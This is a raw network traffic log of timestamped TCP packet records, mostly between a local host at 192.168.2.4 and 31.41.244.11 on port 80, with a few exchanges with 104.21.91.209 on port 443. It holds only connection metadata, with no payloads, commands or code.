Dec 19, 2024 20:11:29.759902000 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.759967089 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.760010958 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.764544010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.764588118 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.764624119 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.764664888 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.769211054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.769265890 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.769325018 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.769378901 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.773883104 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.773936033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.774173021 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.774219990 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.778342962 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.778400898 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.778415918 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.778455973 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.782831907 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.782880068 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.782923937 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.782969952 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.789697886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.789709091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.789784908 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.791807890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.791882992 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.792718887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.792761087 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.796325922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.796379089 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.796487093 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.796524048 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.800199986 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.800245047 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.800342083 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.800400972 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.802767038 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.802819967 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.802890062 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.802930117 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.806917906 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.806931019 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.806969881 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.806996107 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.810414076 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.810461044 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.810517073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.810556889 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.817789078 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.817800045 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.817852020 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.817871094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.850030899 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.850085974 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.850172997 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.850210905 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.851939917 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.852035999 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.852108955 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.852161884 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.854406118 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.854456902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.854561090 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.854612112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.922292948 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.922350883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.922595024 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.922652006 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.923850060 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.923928022 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.923995972 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.924056053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.926744938 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.926811934 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.926915884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.926991940 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.929908037 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.930071115 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.930104017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.930157900 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.932697058 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.932704926 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.932760954 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.935323000 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.935401917 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.935456991 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.935537100 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.938222885 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.938400030 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.938427925 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.938472033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.940901041 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.941008091 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.941046953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.941117048 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.942670107 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.942683935 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.942723036 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.942740917 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.946732998 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.946815968 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.946887016 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.946943045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.948929071 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.949016094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.949086905 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.949197054 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.951668024 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.951741934 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.951838017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.951888084 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.954312086 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.954482079 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.954504967 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.954526901 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.957094908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.957109928 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.957154036 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.957169056 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.959762096 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.959892988 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.959924936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.959990978 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.962501049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.962516069 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.962568045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.965154886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.965236902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.965950966 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.966029882 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.967869997 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.967876911 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.967994928 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.970514059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.970582962 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.970662117 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.970705032 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.973156929 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.973211050 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.973315001 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.973368883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.975270033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.975326061 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.975349903 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.975394964 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.977313995 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.977360964 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.977396965 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.977472067 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.979262114 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.979358912 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.979434967 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.979496002 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.981128931 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.981189013 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.981724024 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.981838942 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.983047962 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.983109951 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.983517885 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.983645916 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.984992981 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.985054970 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.989006996 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.989017010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.989022970 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.989078045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.989078045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.990228891 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.990287066 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.990526915 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.990638971 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.991938114 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.991997004 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.992296934 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.992356062 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.993896008 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.993951082 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.994391918 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.994445086 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.995963097 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.996078968 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.996145010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.996269941 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.997710943 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.997766972 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.998359919 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.998430967 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.999526978 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.999578953 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.000272036 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.000376940 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.001549006 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.001555920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.001652956 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.003197908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.003279924 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.003921986 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.004024982 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.005269051 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.005345106 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.114299059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.114444971 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.114463091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.114522934 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.115248919 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.115309954 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.115356922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.115417957 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.115592003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.115647078 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.116065025 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.116137028 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.116198063 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.116264105 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.117752075 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.117839098 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.117938995 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.117991924 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.119422913 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.119498014 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.119607925 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.119664907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.121054888 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.121118069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.121150017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.121212006 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.122627020 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.122773886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.123390913 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.123480082 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.124270916 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.124336958 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.124625921 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.124675035 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.125879049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.126027107 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.127140999 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.127227068 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.127403975 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.127410889 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.127547026 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.128859997 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.128963947 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.129200935 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.129285097 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.130325079 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.130446911 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.130458117 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.130516052 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.131807089 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.132018089 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.132158041 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.132225990 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.133327961 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.133400917 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.133497953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.133567095 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.134778976 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.134957075 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.134980917 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.135026932 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.136269093 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.136387110 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.136390924 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.136521101 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.137801886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.137904882 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.138067007 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.138117075 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.139317036 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.139378071 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.139803886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.139903069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.140780926 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.140786886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.140867949 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.142318010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.142366886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.143007040 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.143066883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.143748045 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.143841982 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.143899918 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.143956900 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.145237923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.145245075 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.145328045 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.146471024 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.146542072 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.146604061 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.146615028 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.146790981 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.146835089 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.146847963 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.146853924 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.146908998 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.147552013 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.147584915 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.147592068 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.147684097 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.148305893 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.148385048 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.148713112 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.148881912 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.149756908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.149997950 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.150249958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.150319099 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.151233912 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.151299000 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.151392937 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.151453972 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.152667046 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.152823925 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.153000116 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.153043032 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.154195070 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.154251099 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.154273987 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.154328108 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.154751062 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.154800892 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.154808044 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.155694008 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.155765057 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.155828953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.155877113 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.157175064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.157275915 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.157392025 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.157449961 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.158607960 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.158674955 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.159177065 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.159234047 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.160238028 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.160303116 CET	49815	80	192.168.2.4	31.41.244.11
